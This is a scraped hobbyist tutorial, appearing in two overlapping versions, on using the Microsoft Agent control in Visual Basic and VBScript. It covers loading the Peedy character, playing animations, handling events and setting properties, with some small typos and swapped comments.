function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nCustomizing the\nAgent Control\n \nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\n \nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\n \nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\n \nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \n \n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\n \nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\n \nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nYes, the Agent Character files are freeware\nand can be downloaded from MSDN (Microsoft Developer Network). \n \nWhy don't some functions\n(commands) work on some character files?\nWell the latest version character files will\nhave more functions (Robby the Monkey is the latest I think), so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle2_3" function does not work on Peedy.\n \nSometimes the character\ndoesn't stop what he is doing for a long time... how can I force him to stop?\nSome functions take a long time to finish so\nyou may have to force a stop. Just add the char.Stop or the char.StopAll\nfunction to an event to stop the character. When this function is called the\ncharacter will automatically stop doing what he was doing and go to his rest\npose.\n \nCan I use the Ms Agent in my\napplications?\nYes! as far as I know Microsoft is\ndistributing this freely across the internet. You can use the control freely\n(for more info go to the MSDN site - msdn.microsft.com ), and you can use any of\nthe code you see in this tutorial freely!\n \nHow can I change the\ncharacter file?\nIn lots of examples I have seen, in order to\nchange the character file you need to change a lot of code. But if you used my\ncode you only have to change one line of code. All you have to do is to set the\nAnim String to equal the character you want. For example to choose Peedy just\ntype the following code Anim = "Peedy". Note that you can only\nchange the character if you have the character installed on your machine.\n \n \nTHE END\nI've worked for a \nlong time to get this tutorial to you so I would really appreciate some feedback and votes!\nYou are free to use the example source code in your applications.\n</body>\n"},{"WorldId":1,"id":13158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13174,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13178,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13181,"LineNumber":1,"line":" \nThe \nComplete Guide to Ms Agent\n \nIntroduction\nThis tutorial is a sequel to my 'How to use\nthe Ms Agent Control for Absolute Beginners'. This tutorial not only contains\nall the information that was contained in that tutorial, but also has\ninformation on how to use the Ms Agent control in VB Script. This tutorial, is\nbased on the easy to understand interface of my first two tutorials, so even\nnovice programmers will be able to understand it.\n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nIndex\nGetting Started\n- Provides all the data you need to jump start your Agent application\nDeclaring the Character\nFile - Shows how to declare the\nCharacter file for use in VB\nInitializing the\nCharacter - Shows how to initialize the Character file\nDisplaying Various\nAnimations - Shows how to get the Character to display\nvarious animations\nUsing Ms Agent With\nVB Script - Shows you how to use Ms Agent with VB Script\nEvents and\nProperties of the Agent Control - Describes the Events and\nProperties of the Agent Control\nFun Agent Code to Add to\nyour Applications - Gives some cool code which makes the Character\ndo some fun things\nExamples of\nHow you can use the Agent Control - Gives some ideas as to\nhow you can use the Agent Control\nFrequently Asked\nQuestions - Various related questions and their answers.\n \n \n \nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6 (parts of this tutorial may work in VB 4 if you\nhave Agent 1.5 installed). You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the Robot. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \n \nDisplaying Various\nAnimations\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nEvents and\nProperties of the Agent Control\n \nEvents\nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\nchar.play "Idle3_3"\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the Agent1_BalloonHide\nevent to Set what happens when the Character's speech balloon is shown\nUsing this event you can set what happens\nevery time the speech balloon is shown (basically every time the character\nstarts speaking).\n \nUsing the Agent1_BalloonShow\nevent to Set what happens when the Character's speech balloon is hidden\nUsing this event you can set what happens\nevery time the speech balloon is hidden (basically every time the character\nstops speaking).\n \n \n \nProperties\nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \nUsing Ms Agent\nwith VB Script\nMs Agent can be used in VB script too. VB\nscript 2.0 is needed to do so. Here is an example. Using VB script is very\nuseful if you want to include MS Agent on your web page. Please note - I am not\ntoo familiar with VB script so If there are any syntax errors please let me\nknow.\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \n \nInitializing The Character\nTo initialize the character you will need to\ncontact the Agent Server.\n<SCRIPT LANGUAGE = “VBSCRIPT”>\n<!—-\n \nDim Char 'Declare the String Char\n \nSub window_OnLoad 'Window_Onload\nEvent\n \nAgentCtl.Characters.Load\n"Genie", "http://agent.microsoft.com/characters/v2/genie/genie.acf"\n \n‘Create an object with reference to the character on the Microsoft\nserver \n \nset Char= AgentCtl.Characters\n("Genie") 'Set the the Char string to = The\nAgent Cotnrol\nChar.Get "state",\n"Showing" \n‘Get the Showing state animation\nChar.Show 'Show the\nCharacter\n \nEnd Sub\n -->\n \n</SCRIPT>\n \nSending Requests to the\nServer\nYou will need to send requests to the agent\nserver in order to do certain commands.\n \nDim Request\n \nSet Request = Agent1.Characters.Load ("Genie", "http://agent.microsoft.com/characters<a name=\"_Hlt390052700\">/v2/genie/</a>genie.acf")\n'Sets the request<o:p>\n</o:p>\n\n \nIf (Request.Status = 2) then 'Request is in\nQueue \n'Add your code here (you\ncan send text to status bar or something)<o:p>\n</o:p>\n\n \nElse If (Request.Status = 0) then 'Request\nsuccessfully completed\n'Add your code here (you\ncan do something like display the annimation)<o:p>\n</o:p>\n\n \nEnd If\n \n \nShowing Animations\nIf you are using VB script you will need to\nget the animations from a server using the Get method. For example the\nfollowing code will get all the 'Moving' animations which the character needs.\nAgentCtl.Characters\n("Peedy").Get "Animation", "Moving", True \nAfter an animation is loaded you should be\nable to play it in the usual way.\n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nThe agent files can be freely downloaded, but\nyou are never the less bound by the Microsoft EULA (End User License Agreement).\nFor more information go to the URL specified below. The agent files (inlcuding the character\nfiles) are available for download on <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhy don't some functions\n(commands) work on some character files?\nSome versions of character files will\nhave more functions, so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle3_3" function does not 